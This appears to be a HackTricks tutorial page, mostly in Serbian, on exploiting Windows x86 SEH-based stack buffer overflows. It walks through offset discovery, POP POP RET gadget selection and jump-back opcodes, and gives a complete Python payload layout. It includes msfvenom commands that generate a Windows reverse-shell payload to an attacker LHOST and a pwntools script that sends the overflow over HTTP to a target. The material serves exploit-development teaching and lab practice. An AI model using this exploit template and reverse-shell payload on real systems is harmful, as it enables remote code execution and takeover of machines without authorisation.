Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
SEH-based exploitation je klasična x86 Windows tehnika koja zloupotrebljava lanac Structured Exception Handler koji se nalazi na steku. Kada preliv bafera na steku (stack buffer overflow) prepiše dva 4-bajtna polja
- nSEH: pokazivač na sledeći SEH zapis, i
- SEH: pokazivač na funkciju rukovaoca izuzetkom
napadač može preuzeti kontrolu izvršavanja na sledeći način:
- Postavljanjem SEH na adresu POP POP RET gadgeta u modulu bez zaštite, tako da kada se desi izuzetak taj gadget vrati kontrolu u bajtove koje kontroliše napadač, i
- Korišćenjem nSEH za preusmeravanje izvršavanja (obično kratki skok) nazad u veliki prelivajući bafer gde se nalazi shellcode.
Ova tehnika je specifična za 32-bit procese (x86). Na modernim sistemima, preferirajte modul bez SafeSEH i ASLR za gadget. Loši karakteri često uključuju 0x00, 0x0a, 0x0d (NUL/CR/LF) zbog C-strings i parsiranja HTTP zahteva.
Pronalaženje tačnih ofseta (nSEH / SEH)
- Srušite proces i proverite da li je SEH lanac prepisan (npr. u x32dbg/x64dbg, proverite SEH view).
- Pošaljite ciklični uzorak kao podatke koji prelivaju i izračunajte ofsete dva dword-a koja dospevaju u nSEH i SEH.
Primer sa peda/GEF/pwntools na POST telu od 1000 bajtova:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.
Izbor POP POP RET (SEH gadget)
Potrebna vam je POP POP RET sekvenca da bi se unwind-ovao SEH frame i vratilo na vaše nSEH bajtove. Pronađite je u modulu bez SafeSEH i idealno bez ASLR:
- Mona (Immunity/WinDbg):
!mona modules
zatim!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
da prikaže POP POP RET gadgets i SafeSEH status.
Odaberite adresu koja ne sadrži badchars kada se napiše little-endian (npr., p32(0x004094D8)
). Preferirajte gadgets unutar ranjivog binarnog fajla ako zaštite dozvoljavaju.
Jump-back technique (short + near jmp)
nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx
) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Predlog rasporeda za 1000-byte payload sa nSEH na offsetu 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Tok izvršenja:
- Dogodi se izuzetak, dispatcher koristi prepisani SEH.
- POP POP RET prelazi u naš nSEH.
- nSEH izvršava
jmp short -8
u 5-byte near jump. - Near jump dospeva na početak našeg buffera gde se nalaze NOP sled + shellcode.
Loši karakteri
Sastavi kompletan badchar string i uporedi stack memory nakon crash-a, uklanjajući bajtove koje target parser izmeni. Za HTTP-based overflows, \x00\x0a\x0d
su gotovo uvek isključeni.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Generisanje shellcode-a (x86)
Koristite msfvenom sa svojim badchars. Mali NOP sled pomaže tolerisati varijacije u mestu izvršenja.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Ako se generiše u letu, hex format je zgodan za ubacivanje i unhex u Pythonu:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Isporuka preko HTTP-a (precizni CRLF + Content-Length)
Kada je ranjivi vektor telo HTTP zahteva, sastavite sirov zahtev sa tačnim CRLF-ovima i Content-Length-om tako da server pročita celo telo koje preljeva.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Alati
- x32dbg/x64dbg za posmatranje SEH chain-a i trijažu pada.
- ERC.Xdbg (x64dbg plugin) za enumeraciju SEH gadgeta:
ERC --SEH
. - Mona kao alternativa:
!mona modules
,!mona seh
. - nasmshell za sastavljanje short/near jumps i kopiranje raw opcodes.
- pwntools za kreiranje preciznih network payloads.
Napomene i ograničenja
- Odnosi se samo na x86 procese. x64 koristi drugačiju SEH šemu i eksploatacija zasnovana na SEH-u generalno nije izvodljiva.
- Preferirajte gadgete u modulima bez SafeSEH i ASLR; u suprotnom pronađite nezaštićeni modul učitan u procesu.
- Watchdog servisi koji se automatski restartuju nakon pada mogu olakšati iterativni razvoj exploita.
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.